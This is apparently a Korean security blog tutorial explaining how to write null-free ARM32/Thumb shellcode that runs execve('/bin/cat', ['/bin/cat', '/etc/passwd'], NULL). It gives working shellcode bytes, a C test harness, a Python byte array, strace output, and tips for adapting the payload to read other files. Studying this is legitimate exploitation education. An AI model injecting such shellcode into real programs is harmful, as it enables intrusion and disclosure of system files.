ARM Exploitation

ARM32 SHELLCODE 작성 (3) - execve("/bin/cat /etc/passwd")

이전 글에서 azeria labs 의 "/bin/sh" 을 띄우는 쉘 코드 작성을 살펴보았다.

이때 argv 가 없어서 r0 레지스터에만 /bin/sh 이라는 문자열을 넣는 것으로 성공할 수 있었다.

그렇다면 보다 복잡한, 예를 들면 파라미터가 존재하는 경우에 어떻게 할까?

이번에는 /bin/cat /etc/passwd 를 실행하는 쉘 코드를 작성해보자.


1. Assembly

우선 인텔과 arm의 어셈블리 차이는 대략 아래와 같다.

x86
ARM
pop eaxpop {r0}
mov eax, eaxmov r0, r1
add eax, ebxadd r0, r0, r1
add eax, 0x10add r0, #16
mov eax, [ebx]ldr r0, [r1]
mov [eax+0x10], ebxstr r1, [r0, #16]
call eaxblx r0
jmp eaxbx r0
call functionbl function
(return address in lr)
retpop {pc}  /  bx lr
int 0x80svc 0x80  / svc 


2. 시스템 콜

execve 시스템 콜을 수행할 때 argv[] 를 어떻게 설정할지 생각해보자.

우선 r0는 /bin/cat이 될 것이다.

evnp[] 에는 별다른 지정이 필요 없으므로 r2 레지스터에 NULL을 할당하면 쉽다.

execve 함수의 시스템 콜 번호는 11번이므로 r7레지스터에 할당한다.

다만 문제가 될 것은 r1 레지스터에 argv[]를 할당하는 것이다. 배열 형태로 전달을 하려면 스택을 이용해야 할 것이다.

앞선 예제에서 처럼, 사용할 문자열을 구상하고 헥스 코드로 인코딩하여 넣어야 한다. 원하는 문자열이 아래와 같을 것이다.

/bin/cat /etc/passwd

그런데 사이에 띄어쓰기로 인해 \0이 포함되어 있다. 문자열이 이렇게 되어 있으면 원활한 처리가 어렵다. 그래서 임의로 x라는 대체해서 아래와 같이 작성해보자. 

/bin/catx/etc/passwd

이를 16진수로 바꾸면 다음과 같다. (이 사이트를 활용하면 쉽다. https://www.convertstring.com/en/EncodeDecode/HexEncode )

이 글자는 다행히(?) 4바이트 단위로 끊어진다. 만약 맞지 않는다면 뒤에 임의의 패딩 문자를 넣어야 한다.

"\x2f\x62\x69\x6e"  // .word    0x6e69622f   /* thumb instructions for "/bin" */
"\x2f\x63\x61\x74"  // .word    0x7461632f   /* thumb instructions for "/cat" */
"\x78\x2f\x65\x74"  // .word    0x74652f78   /* thumb instructions for "x/et" */
"\x63\x2f\x70\x61"  // .word    0x61702f63   /* thumb instructions for "c/pa" */
"\x73\x73\x77\x64"; // .word    0x64777373   /* thumb instructions for "sswd" */


이제 이 문자열을 최하단부에 위치하다고 가정하고, 문자열을 적절히 잘라서 스택 및 각각의 레지스터에 할당한 후 이를 시스템 콜 호출하는 과정을 쉘 코드로 작성해보자.


3. 쉘 코드 작성

코드를 먼저 보고 하나씩 이해해보도록 하자. C언어로 작성한 shellcode 실행 예제이다.

/* 
    Title       : Linux/ARM - execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL) - 56 bytes
    Date        : 2020-10-30
    Author      : cpuu (cpuu at icloud dot com)
    Tested on   : Raspberry Pi 3 Model B Rev 1.2, armv7l, GNU/Linux raspberrypi 5.4.51-v7+, 32bit
    
    An ARM Hardcoded Shellcode without 0x20, 0x0a, and 0x00.
    
    https://github.com/cpuu/arm_exploitation/blob/master/shellcode/bincat/etcpasswd/etcpasswd.c

    compiler c: gcc -marm -fno-stack-protector -z execstack -o etcpasswd etcpasswd.c
    
*/
#include <stdio.h>
#include <string.h>

char *SC = "\x01\x30\x8f\xe2" // add  r3, pc, #1        /* current pc == \x24. add 0x1 to pc to prepare the switch to thumb mode */
           "\x13\xff\x2f\xe1" // bx   r3                /* switch to thumb mode */

           "\x24\x33" // adds r3,  #36 ; 0x24           /* Before : r3 == (line 1) pc + 1 == \x33, After : r3+36 will r3 = "/etc/passwd" */
           "\x78\x46" // mov  r0,  pc                   /* current pc == \x92. mov pc to r0 */
           "\x16\x30" // adds r0,  #22                  /* Before : r0 == (line 4) pc == \x92, After : r0+22 == the beginning of string */
           "\x92\x1a" // subs r2,  r2,  r2              /* put 0 in r2 */
           "\x02\x72" // strb r2,  [r0,  #8]            /* store nullbytes at r0[8]. r0 = "/bin/cat" */
           "\x05\x1c" // adds r5,  r0,  #0              /* make r5 to point to the beginning of string */
           "\x14\x35" // adds r5,  #20                  /* make r5 to point to the end of string (0x14 == 20 == string length) */
           "\x2a\x70" // strb r2,  [r5,  #0]            /* store nullbytes at the end of string */
           "\x69\x46" // mov  r1,  sp                   /* store r1 to the stack */
           "\x8a\x60" // str  r2,  [r1,  #8]            /* argv[2] = r2 = NULL */
           "\x4b\x60" // str  r3,  [r1,  #4]            /* argv[1] = r3 = "/etc/passwd" */
           "\x08\x60" // str  r0,  [r1,  #0]            /* argv[0] = r0 = "/bin/cat" */
           "\x0b\x27" // movs r7,  #11                  /* put 11 in r7 for execve syscall */
           "\x01\xdf" // svc  1                         /* call execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL) */

                                                        /* string "/bin/catx/etc/passwd" */
           "\x2f\x62\x69\x6e"  // .word    0x6e69622f   /* thumb instructions for "/bin" */
           "\x2f\x63\x61\x74"  // .word    0x7461632f   /* thumb instructions for "/cat" */
           "\x78\x2f\x65\x74"  // .word    0x74652f78   /* thumb instructions for "x/et" */
           "\x63\x2f\x70\x61"  // .word    0x61702f63   /* thumb instructions for "c/pa" */
           "\x73\x73\x77\x64"; // .word    0x64777373   /* thumb instructions for "sswd" */

int main(void)
{
    char payload[56];

    memcpy(payload, SC, 56);

    fprintf(stdout, "Length: %d\n", strlen(SC));
    (*(void (*)())payload)();

    return 0;
}

가장 첫 줄을 살펴보자. 아래의 코드는 r3 레지스터가 pc 레지스터가 가리키는 위치 한칸 다음을 가리키게 한다.

"\x01\x30\x8f\xe2" // add  r3, pc, #1 

우선 지난 글에서도 설명했듯, ARM 의 Effective PC 개념을 이해해야 한다. ARM 이나 THUMB에서 PC는 바로 다음 명령어가 아닌, 다다음 명령어를 가리키게 된다. 그러므로 현재의 pc는 \x24을 가리키고 있으므로 pc + 1은 \x33 이 될 것이며 이 부분을 r0이 가리키게 된다.

"\x13\xff\x2f\xe1" // bx   r3 

이 코드는 ARM32 모드에서 THUMB 모드로 전환하는 작업을 한다. 앞서 설명했듯 ARM의 명령어는 4bytes이고 THUMB는 2바이트이기 때문에 쉘 코드 내에 널 문자가 포함될 가능성을 줄여주는 역할을 한다. 대부분의 암 쉘 코드는 THUMB 모드로 작성될 것으로 예상한다.

 "\x24\x33" // adds r3,  #36 ; 0x24

이 코드는 앞서 r3가 가리키는 위치를 +36(16진수로는 0x24)하는 작업이다. 앞서 pc+1 이 0x33의 위치였는데 여기에 36을 더하면 된다. 이때 1바이트씩 계산하면 되는데 헷갈릴 수 있으니 그림으로 그려봤다. 

그 결과 0x2f를 가리키며 이 위치는 궁극적으로 /etc/passwd 부분을 가리키게 된다.


"\x78\x46" // mov  r0,  pc             
"\x16\x30" // adds r0,  #22                  

이어지는 두 코드는 다시 pc를 이용하여 r0 값을 설정하고 있다. 첫 번째 줄이 실행될 때의 pc 값은 두칸 아래의 \x92를 가리킨다. 이를 r0에 할당한 후, 두 번째 줄에서 r0 + 22를 하면 이는 /bin/catx/etc/passwd 문자열의 시작 부분을 가리키게 된다. 이를 그림으로 그려보면 다음과 같다.

이제 r2를 세팅하자. r2는 추후 envp 를 NULL로 세팅해야 하므로 mov r2, 0 하면 될 일이지만, 이렇게 하면 널바이트가 존재하므로 다른 방식을 써야 한다. thumb에서는 아래와 같은 방법으로 대체할 수 있다.

"\x92\x1a" // subs r2,  r2,  r2  

r2를 사용해서 또 다른 작업을 할 수 있는데, NULL을 넣어둔 김에 string 내부에 x 값을 NULL로 치환할 것이다. 

"\x02\x72" // strb r2,  [r0,  #8]

우선 정확한 동작을 보기 위해 현재 문자열의 상태를 그림으로 나타내면 다음과 같다.

여기에서 r0가 현재 [0]을 가리키고 있는 상황이다. 이 때 r0[8] 의 위치에 r2 즉 null을 할당한다. 그러면 뒷 내용을 잘라내는 효과가 있다.

r0가 /bin/cat 을 나타내도록 만들었다.


이어서 필요한 작업은, 문자열의 맨 마지막을 잘라주는 작업이다. 그림에 나와있듯 /etc/passwd 뒤에 NULL 끝맺음을 해주어야 한다. 먼저 그러기 위해서 문자열의 끝을 찾기 위해 r5라는 임시 레지스터를 사용하자. 그리고 앞서 r2에 NULL이 들어있는 것을 이용하여 strb를 수행한 것과 동일하게 수행하면 된다. 

"\x05\x1c" // adds r5,  r0,  #0           
"\x14\x35" // adds r5,  #20              
"\x2a\x70" // strb r2,  [r5,  #0]        

이를 통해 r3 역시 /etc/passwd 를 깔끔하게 잘라낼 수 있게 되었다.


이제 argv[] 설정만 남았다. 이미 필요한 조각들을 각각 r0, r2, r3에 마련해두었으므로 r1을 스택에 올려서 각각 옮겨오면 된다.

"\x69\x46" // mov  r1,  sp                   /* store r1 to the stack */
"\x8a\x60" // str  r2,  [r1,  #8]            /* argv[2] = r2 = NULL */
"\x4b\x60" // str  r3,  [r1,  #4]            /* argv[1] = r3 = "/etc/passwd" */
"\x08\x60" // str  r0,  [r1,  #0]            /* argv[0] = r0 = "/bin/cat" */


마지막으로 시스템 콜을 호출하자. execve함수의 번호는 11번이다.

"\x0b\x27" // movs r7,  #11             
\"\x01\xdf" // svc  1                        


이를 수행하면 execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)  와 같은 동작이 이루어지는지를 보면 된다.


4. C언어 테스트

위의 C언어 소스코드를 그대로 컴파일하여 실행해볼 수 있다.

 $ gcc -marm -fno-stack-protector -z execstack -o etcpasswd etcpasswd.c

strace로 컴파일된 바이너리를 실행해서 행위를 추적해보자.

 $ strace -e execve ./etcpasswd
execve("./etcpasswd", ["./etcpasswd"], 0x7efff668 /* 24 vars */) = 0
Length: 56
execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL) = 0
root:x:0:0:root:/root:/bin/bash
pi:x:1000:1000:,,,:/home/pi:/bin/bash
+++ exited with 0 +++

성공적으로 실행되어 /etc/passwd의 내용을 열었다.


5. Python 테스트

ctf 등을 풀때 쉘 코드를 사용하려면 보통 python pwntools를 이용하므로 C언어가 아닌 Python3의 byte array 로도 작성해두었다. (소스)

'''
Title       : Linux/ARM - execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL) - 56 bytes
Date        : 2020-10-30
Author      : cpuu (cpuu at icloud dot com)
Tested on   : Raspberry Pi 3 Model B Rev 1.2, armv7l, GNU/Linux raspberrypi 5.4.51-v7+, 32bit
Python      : 3.7.4
    
$ python3 etcpasswd.py
$ ls -l shellcode.bin
$ hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin 
'''

shellcode = b"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x24\x33\x78\x46\x16\x30\x92\x1a\x02\x72\x05\x1c\x14\x35\x2a\x70\x69\x46\x8a\x60\x4b\x60\x08\x60\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x63\x61\x74\x78\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"

newfile = open('./shellcode.bin', 'wb')
newfile.write((''.join(chr(i) for i in shellcode)).encode('charmap'))

일반적인 사용에는 그냥 shellcode라는 변수가 할당하고 있는 줄을 복사해서 사용하면 된다. 여기에서는 보다 다양한 처리를 위해 shellcode.bin 이라는 바이너리 파일로 저장하도록 예제를 만들어보았다.

python3 명령어를 통해 etcpasswd.py 를 실행하면 shellcode.bin 파일이 생성된다.

$ python3 etcpasswd.py
$ ls -l shellcode.bin
-rw-r--r-- 1 pi pi 56 Nov 12 11:36 shellcode.bin

이 파일을 반대로 다시 쉘 코드 문자열로 출력하는 방법은 다음과 같다.

$  hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x24\x33\x78\x46\x16\x30\x92\x1a\x02\x72\x05\x1c\x14\x35\x2a\x70\x69\x46\x8a\x60\x4b\x60\x08\x60\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x63\x61\x74\x78\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64

쉘 코드 문자열을 bin으로 바꿀 경우 아래의 명령어를 이용한다.

$ echo -ne "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x24\x33\x78\x46\x16\x30\x92\x1a\x02\x72\x05\x1c\x14\x35\x2a\x70\x69\x46\x8a\x60\x4b\x60\x08\x60\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x63\x61\x74\x78\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" > shellcode.bin

bin 파일을 앞선 글에서 소개했던 target 바이너리에 넣어서 실행해볼 수 있다.

$ bash -c '(cat shellcode.bin; echo; cat) | strace -e execve ./target'

성공적으로 /etc/passwd의 내용을 /bin/cat 으로 열어 보여줌을 확인했다.


이번 글에서는 execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL) 을 수행하는 코드를 작성했다. 이해를 정확히 했다면 이를 임의로 바꾸는 것도 가능할 것이다. 예를 들어 /etc/passwd 대신에 /tmp/flag 를 읽고 싶다면 맨 마지막 줄에 있는 헥스 문자열을 알맞게 고치고, 26줄에 있는 "\x14\x35"  코드인 adds r5,  #20 부분에서 문자열 끝의 길이만 수정해주면 될 것이다. 만약 /bin/cat 대신에 다른 명령어를 수정하고 싶은 경우 24줄의 "\x02\x72" 코드인 strb r2,  [r0,  #8] 에서 8칸 대신 적절한 위치로 수정하면 될 것이다. 이 작업을 수행할 때에는 shell-storm의 Online Assembler and Disassembler 를 추천한다.  ARM 및  ARM (thumb) 를 모두 지원한다.

Software Security Engineer

CPUU 님의 창작활동을 응원하고 싶으세요?

CPUU의 Daydreamin'
CPUU의 Daydreamin'
구독자 220

0개의 댓글

SNS 계정으로 간편하게 로그인하고 댓글을 남겨주세요.
새로운 알림이 없습니다.